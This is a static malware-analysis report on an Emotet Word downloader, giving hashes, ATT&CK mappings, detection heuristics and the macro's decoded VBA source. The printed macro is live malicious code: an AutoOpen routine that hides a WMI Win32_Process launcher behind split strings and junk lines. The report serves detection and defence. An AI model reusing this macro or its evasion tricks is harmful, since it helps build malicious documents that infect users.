Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 5a217e950f27df7d…

MALICIOUS

Office (OLE)

111.8 KB Created: 2019-05-23 06:57:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 48ff225131e8e1a26a2a91a680ea5792 SHA-1: f42597bce4f130f38858c2545d9148c403412aa7 SHA-256: 5a217e950f27df7da794e729b22980c2aa1417696ffa1ee861ce9e657fd35bbb
302 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter

The sample contains an AutoOpen VBA macro that uses obfuscated string concatenation to call GetObject with 'winmgmts:win32_process'. This indicates an attempt to launch a new process, likely to download and execute a secondary payload. ClamAV detection confirms this is a known Emotet downloader variant.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6978977-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6978977-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2816 bytes
SHA-256: 30650081fac574207949b4b62ba861dd0854d83063269e787397dbdfcfd1c95b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "UBQaH9"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Tz701JJA, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "zaWwOBaH, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "ctrHjBh, 2, 2, MSForms, ComboBox"
Sub _
autoopen()
   Debug.Print (405) + (752)
 Debug.Print kTDVkj8A + (694)
 Debug.Print (jmmjvWME) + (827)
 Debug.Print (482) + GGQdisFs
dtaAzQ
   Debug.Print (62) + (382)
 Debug.Print YojjUD2 + (176)
 Debug.Print (covtZAz) + (64)
 Debug.Print (830) + jW3RFG
End Sub


Attribute VB_Name = "Fl1DrNmA"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "a0Viqr4"

Attribute VB_Name = "GbUc5VnO"

Attribute VB_Name = "A1zt1N4L"

Attribute VB_Name = "fACVQjlD"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "iiC9nUad"
Function dtaAzQ()
If 920525 = 920525 Then
   Debug.Print (861) + (606)
 Debug.Print BU0KjU + (793)
 Debug.Print (T_2MPd) + (106)
 Debug.Print (792) + IKLiKcJ
Set mR9hD3SQ = GetObject("wi" + "n" + "mg" + "mts:w" + "in32" + "_proc" + "ess" + "sta" + "rtup")
End If
   Debug.Print (409) + (453)
 Debug.Print ijvVr1V + (524)
 Debug.Print (rizk__) + (698)
 Debug.Print (241) + B3zwIQEt
rC1YQn = 0
   Debug.Print (440) + (397)
 Debug.Print rY_TXU + (165)
 Debug.Print (GwAdBuwF) + (777)
 Debug.Print (275) + iF5CZYb1
With mR9hD3SQ
   Debug.Print (151) + (970)
 Debug.Print TWcOdIEd + (262)
 Debug.Print (VYTJTBpV) + (511)
 Debug.Print (454) + dLZXWC75
. _
ShowWindow = rC1YQn + rC1YQn
   Debug.Print (709) + (832)
 Debug.Print qmN88O + (269)
 Debug.Print (bhMArjQ) + (213)
 Debug.Print (202) + oNmSmzP
End With
If 920525 = 920525 Then
   Debug.Print (202) + (108)
 Debug.Print nWNj_i + (621)
 Debug.Print (G9JAEuEC) + (426)
 Debug.Print (513) + iUln7I
GetObject("wi" + "n" + "mg" + "mts:w" + "in32" + "_proc" + "ess") _
.Create# UBQaH9.zaWwOBaH + UBQaH9.ctrHjBh + UBQaH9.Tz701JJA, f4Sbjw5, mR9hD3SQ, WTu_jX
   Debug.Print (624) + (271)
 Debug.Print abjo3b + (281)
 Debug.Print (QA2Czqz8) + (268)
 Debug.Print (57) + ZS_WMIs7
End If
End Function


Attribute VB_Name = "UkKYvQ"

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